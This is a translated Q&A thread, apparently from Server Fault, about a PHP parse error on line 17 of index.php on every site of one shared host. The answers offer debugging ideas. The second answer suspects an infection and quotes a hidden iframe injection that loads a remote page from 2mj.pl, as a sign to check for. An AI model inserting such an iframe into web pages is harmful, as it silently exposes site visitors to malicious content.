![PHP 输入中有意外字符:'''(ASCII=39)](https://linux22.com/image/490952/PHP%20%E8%BE%93%E5%85%A5%E4%B8%AD%E6%9C%89%E6%84%8F%E5%A4%96%E5%AD%97%E7%AC%A6%EF%BC%9A'''%EF%BC%88ASCII%3D39%EF%BC%89.png)
我的一个朋友的所有网站都出现了这个错误。它们都在同一台服务器上,由外部托管。(托管公司说他们无法帮助解决脚本问题)
每个网站甚至都给出了确切的行号,但它们都使用不同的 Index.php 文件。我有点困惑,以前有人见过这样的事情吗?
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /home/xxxx/public_html/index.php on line 17
Parse error: syntax error, unexpected '.' in /home/xxxx/public_html/index.php on line 17
答案1
根据错误和一些谷歌搜索,看来罪魁祸首可能是一些非常糟糕的文件管理器。
您如何编辑/上传文件至网站?
答案2
我认为您的网站感染了病毒。请检查您的 index.php 文件中是否存在如下代码:
<iframe src="http://2mj.pl:8080/ts/in.cgi?pepsi74" width=125 height=125 style="visibility: hidden"></iframe>
答案3
这是 PHP 脚本中的语法错误。因此,编写该脚本的人很可能犯了一个错误。但如果不了解错误背景(即不知道该脚本的该部分具体是什么),就不可能确切地知道如何修复它。
顺便说一句,这确实是一个 StackOverflow 类型的问题。
答案4
尝试创建一个只有一行的 index.php 文件;下面的代码可能比较好:
<?php phpinfo() ?>
一行,没有 \r 或 \n(也就是说不要在后者“>”后按回车键)。
如果错误仍然存在,我认为主机提供商可能添加了自动前置文件指令或类似的东西。如果您的脚本使用了这种(邪恶的)功能,也可能是由于 short_open_tag 造成的。
我认为用一行简单的代码进行调试是一个很好的起点